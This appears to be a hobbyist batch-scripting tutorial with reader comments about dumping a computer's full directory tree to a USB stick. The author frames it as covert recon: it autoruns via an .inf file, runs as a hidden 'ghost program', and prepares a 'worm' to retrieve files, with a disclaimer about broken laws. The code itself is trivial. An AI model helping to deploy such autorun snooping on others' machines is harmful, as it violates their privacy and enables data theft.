What is a directory tree? And Why is it useful?
Well, a tree is like a spider diagram of all the files and folders in a directory, giving you the information to work out the exact location and directory string of any file in the C:/ drive of a computer. The files will not be able to be opened from this program, but you will be able to see there names and types. The information can then be used for you to go away and make a 'worm' to find and retrieve the desired file.
I'll start by showing you the basics of the batch program and then continue to give options to where you can take it further. I personally have this program on a spare 52MB USB that I got free on a University open day. I use an .inf file to start the program upon recognition of the USB, then the program (which I converted to a .exe) runs as a ghost program, creating the text file, saves it on the USB directory, and then you're done! And it only takes a few seconds!
Disclaimer - I am not responsible for the use of this information, any laws or computers you break is your own doing. I am merely supplying this information for researching purposes.
Think you're ready? Then let's go -->
Remove these ads by
Signing UpStep 1: This tree is anything but leafy...
So, the code. If you've stumbled upon this Instructable I assume you've made batch programs before, and some of the concepts here aren't for beginners. Never the less I will explain the code as best I can. I will also assume that you know how to make and save a batch file.
The Code:
@echo off
Set USB=%CD%
CD C:\
echo tree /a /f >%USB%\echotree.cmd
%USB%\echotree.cmd >%USB%\results.txt
exit
Yes it really is that simple...





































Visit Our Store »
Go Pro Today »




Thanks for your reply though!
dir C:\ /s>>log.txt
the >>log.txt at the end means right to a file called log.txt if the file is not currently there it makes it
eg.
dir S:\ /s
echo tree /a /f >%USB%\echotree.cmd
echo is just there so the batch file knows that "tree" isn't the command xD
It will take the tree text, code it as ANCII, as a file, on the
%USB%\ drive, as echotree.cmd. Then that gives access for the code above to work.
Again, I hope I helped!
%USB%\echotree.cmd >%USB%\results.txt
I'm pretty sure it means that it will take the "echotree.cmd" from the %USB% drive, and > means that it will make it into a file. So, It will take that file, and save it in %USB%\ as results.txt
I hope I was of help! :)
@tree /a /f c:\ > results.txt
in the original batch file?
This is true you can infact do it this way. I think all the times I tried it in this syntax I was missing the '@', which would explain the problems I had. Thanks for the comment, and insight into my errors!